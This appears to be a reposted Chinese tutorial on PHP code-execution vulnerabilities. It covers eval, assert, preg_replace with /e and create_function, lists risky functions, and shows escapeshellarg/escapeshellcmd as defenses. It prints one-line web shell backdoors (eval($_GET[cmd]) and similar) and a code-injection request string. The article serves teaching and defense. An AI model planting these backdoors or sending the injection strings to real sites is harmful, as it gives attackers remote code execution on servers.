PHP代码函数的执行漏洞

PHP代码函数的执行漏洞,第1张

概述eval函数eval()函数可以将参数中的变量值执行,通常处于处理模板和动态加载PHP代码,但也常常被***者利用,比如一句话后门程序:<?phpeval($_GET[cmd])?>assert()函数assert()函数在PHP中用来判断一个表达式是否成立,返回真或假。如果直接将PHP代码传入也会被执行。<?phpassert($

eval函数

eval()函数可以将参数中的变量值执行,通常处于处理模板和动态加载PHP代码,但也常常被***者利用,比如一句话后门程序:

@H_403_7@<?PHP eval($_GET[cmd])?>

assert()函数

assert()函数在PHP中用来判断一个表达式是否成立,返回真或假。如果直接将PHP代码传入也会被执行。

@H_403_7@<?PHP assert($_GET["cmd"]);?>

preg_replace()函数

在preg_replace()函数中,当第一个参数的正则表达式有e修正符是,第二个参数的字符串当作PHP代码执行。

@H_403_7@<?PHP	preg_replace("/pregStr/e",$_GET['cmd'],"cmd_pregStr");?>

create_function()函数

create_function()函数的作用是从传递的参数创建匿名函数,并返回唯一的名称。当PHP不正确过滤传递给create_function()的输入时,远程***者可以利用漏洞以及特权应用程序权限执行任意代码。

@H_403_7@<?PHP	$newfunc = create_function('$a,$b',$_GET['cmd']);?>

请求

?cmd=;}PHPinfo();/*后PHPinfo会在没有调用函数的情况下被执行

容易导致安全问题的其他函数

@H_403_7@assert()										pcntl_exex()array_filter()									preg_replace()array_map()										require()array_reduce()									require_once()array_diff_uassoc()								register_shutdown_function()array_diff_ukey()								register_tick_function()array_udiff()									set_error_handler()array_udiff_assoc()								shell_exec()array_udiff_uassoc()							stream_filter_register()array_intersect_assoc()							system()array_intersect_uassoc()						usort()array_uintersect()								uasort()array_uintersect_assoc()						uksort()array_uintersect_uassoc()						xml_set_character_data_handler()array_walk()									xml_set_default_handler()array_walk_recursive()							xml_set_element_handler()create_function()								xml_set_external_entity_ref_handler()escapeshellcmd()								xml_set_notation_decl_handler()exec()											xml_set_processing_instruction_handler()include											xml_set_start_namespace_decl_handler()include_once()									xml_set_unparsed_entity_decl_handler()ob_start()passthru()

代码执行防御

escapeshell()、escapeshellcmd()函数用来保证传入的命令执行函数里的参数确实是以字符串参数的形式存在的,不能被注入

@H_403_7@<?PHP	system('ls ' . escapeshellarg($dir));?>

escapeshellarg()将给字符串增加一个单引号,并且能引用或者转码任何已经存在的单引号,以确保能够直接将一个字符串传入shell函数,并且是安全的。

escapeshellcmd()对字符串中可能会欺骗shell命令执行任意命令的字符进行转义。该函数保证用户输入的数据在传送到exec()函数或system()函数或执行 *** 作符之前进行转义。

@H_403_7@<?PHP	//故意允许任意数量的参数	$command = './configure '.$_POST['configure_options'];	$escaped_command = escapeshellcmd($command);	system($escaped_command);?>

escapeshellcmd()函数应被用在完整的命令字符串上。即使如此,***者还是可以传入任意数量的参数。应使用escapeshellarg()函数对单个参数进行转义

总结

以上是内存溢出为你收集整理的PHP代码函数的执行漏洞全部内容,希望文章能够帮你解决PHP代码函数的执行漏洞所遇到的程序开发问题。

如果觉得内存溢出网站内容还不错,欢迎将内存溢出网站推荐给程序员好友。

欢迎分享,转载请注明来源:内存溢出

原文地址: https://outofmemory.cn/sjk/1167972.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-06-01
下一篇 2022-06-14

发表评论

登录后才能评论

评论列表(0条)

保存